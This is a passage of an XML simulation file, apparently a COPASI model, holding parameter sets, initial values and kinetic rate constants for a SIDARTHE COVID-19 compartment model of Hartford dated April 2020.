</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.037813946362313181" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.20121746758778447" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.20121746758778447" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.043520743395811579" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.36593958913329017" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.12499999999982438" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_7" name="Model3 - 4/27 Hartford">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_7">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:56Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="894014" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[UCH]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.5246681233841226" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.50493362467682457" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.25246681233841228" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.12623340616920614" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.21111074995866533" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.21111074995866533" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.030251157089850718" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="1.8436391388622739" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="1.8436391388622739" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.20121746758778447" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.20121746758778447" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.36593958913329017" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="1.8436391388622739" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.12499999999982438" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.052224892074973897" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.0547498888209392" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.0547498888209392" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.0751077635399091" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.56715705672107464" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.17722489207479827" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2415320203921536" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="2.8239693375988774e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="894014" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="2.8239693375988773e-06" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="5.6479386751977548e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="1.4119846687994387e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.84647803746212447" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.84647803746212447" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu_UCH]" value="0.023860229638650941" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Total_Hospitalized]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ZeroDay]" value="3.1523440370603772" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="2.8239693375988773e-06" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="5.6479386751977548e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="2.8239693375988774e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="1.4119846687994387e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.21111074995866533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.21111074995866533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.030251157089850718" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.20121746758778447" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.20121746758778447" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.052224892074973897" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.36593958913329017" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.12499999999982438" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.023860229638650941" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu_UCH],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.023860229638650941" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu_UCH],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.052224892074973897" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.12499999999982438" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
</ListOfModelParameterSets>
<StateTemplate>
<StateTemplateVariable objectReference="Model_0"/>
<StateTemplateVariable objectReference="ModelValue_91"/>
<StateTemplateVariable objectReference="Metabolite_16"/>
<StateTemplateVariable objectReference="Metabolite_9"/>
<StateTemplateVariable objectReference="Metabolite_12"/>
<StateTemplateVariable objectReference="Metabolite_13"/>
<StateTemplateVariable objectReference="Metabolite_11"/>
<StateTemplateVariable objectReference="Metabolite_8"/>
<StateTemplateVariable objectReference="Metabolite_14"/>
<StateTemplateVariable objectReference="Metabolite_15"/>
<StateTemplateVariable objectReference="Metabolite_10"/>
<StateTemplateVariable objectReference="ModelValue_104"/>
<StateTemplateVariable objectReference="ModelValue_99"/>
<StateTemplateVariable objectReference="ModelValue_97"/>
<StateTemplateVariable objectReference="ModelValue_94"/>
<StateTemplateVariable objectReference="ModelValue_93"/>
<StateTemplateVariable objectReference="ModelValue_92"/>
<StateTemplateVariable objectReference="ModelValue_90"/>
<StateTemplateVariable objectReference="ModelValue_89"/>
<StateTemplateVariable objectReference="ModelValue_88"/>
<StateTemplateVariable objectReference="ModelValue_87"/>
<StateTemplateVariable objectReference="ModelValue_86"/>
<StateTemplateVariable objectReference="ModelValue_85"/>
<StateTemplateVariable objectReference="ModelValue_84"/>
<StateTemplateVariable objectReference="ModelValue_83"/>
<StateTemplateVariable objectReference="ModelValue_82"/>
<StateTemplateVariable objectReference="ModelValue_81"/>
<StateTemplateVariable objectReference="ModelValue_79"/>
<StateTemplateVariable objectReference="ModelValue_78"/>
<StateTemplateVariable objectReference="ModelValue_77"/>
<StateTemplateVariable objectReference="ModelValue_73"/>
<StateTemplateVariable objectReference="ModelValue_68"/>
<StateTemplateVariable objectReference="ModelValue_67"/>
<StateTemplateVariable objectReference="ModelValue_66"/>
<StateTemplateVariable objectReference="ModelValue_65"/>
<StateTemplateVariable objectReference="ModelValue_62"/>
<StateTemplateVariable objectReference="ModelValue_61"/>
<StateTemplateVariable objectReference="ModelValue_59"/>
<StateTemplateVariable objectReference="ModelValue_58"/>
<StateTemplateVariable objectReference="ModelValue_55"/>
<StateTemplateVariable objectReference="Compartment_1"/>
<StateTemplateVariable objectReference="ModelValue_110"/>
